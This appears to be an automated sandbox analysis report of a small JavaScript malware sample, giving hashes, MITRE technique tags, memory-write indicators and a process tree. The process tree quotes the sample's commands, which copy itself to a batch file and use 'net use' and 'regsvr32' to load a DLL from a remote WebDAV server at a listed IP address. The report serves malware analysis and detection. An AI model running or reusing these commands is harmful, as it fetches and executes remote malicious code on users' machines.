d4f28f001f6a19fb076fd078dd8ae9957fbe0651d6bc1a5fb3a8c9463d05ad72

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 03:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2048044602974119017.js
Size

5KB
MD5

ccebfad98a5735e545290385c48eb6ad
SHA1

f647b4d87d18d90fbb3aa298261e35a03d133522
SHA256

d4f28f001f6a19fb076fd078dd8ae9957fbe0651d6bc1a5fb3a8c9463d05ad72
SHA512

ad5252e8b89d0777a05051df1cb7504fcfbfd922180e913e051d85b58d38cc9c9478cd968c71a3d80377c1fabe63b93a576dd9d49a8546bde5872e36e34525ad
SSDEEP

96:eNkpMwuikGgQjmpWSvd0/msKIZqHaQ04jfplkJpY:emFuiP8TS/mH/sUfkJa

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3020	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2292	2084	wscript.exe	30
PID 2084 wrote to memory of 2292	2084	wscript.exe	30
PID 2084 wrote to memory of 2292	2084	wscript.exe	30
PID 2292 wrote to memory of 832	2292	cmd.exe	32
PID 2292 wrote to memory of 832	2292	cmd.exe	32
PID 2292 wrote to memory of 832	2292	cmd.exe	32
PID 2292 wrote to memory of 3020	2292	cmd.exe	33
PID 2292 wrote to memory of 3020	2292	cmd.exe	33
PID 2292 wrote to memory of 3020	2292	cmd.exe	33
PID 2292 wrote to memory of 3020	2292	cmd.exe	33
PID 2292 wrote to memory of 3020	2292	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2048044602974119017.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2048044602974119017.js" "C:\Users\Admin\\cglvgt.bat" && "C:\Users\Admin\\cglvgt.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:832
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\243.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\cglvgt.bat

Filesize
5KB

MD5
ccebfad98a5735e545290385c48eb6ad

SHA1
f647b4d87d18d90fbb3aa298261e35a03d133522

SHA256
d4f28f001f6a19fb076fd078dd8ae9957fbe0651d6bc1a5fb3a8c9463d05ad72

SHA512
ad5252e8b89d0777a05051df1cb7504fcfbfd922180e913e051d85b58d38cc9c9478cd968c71a3d80377c1fabe63b93a576dd9d49a8546bde5872e36e34525ad

Download Submit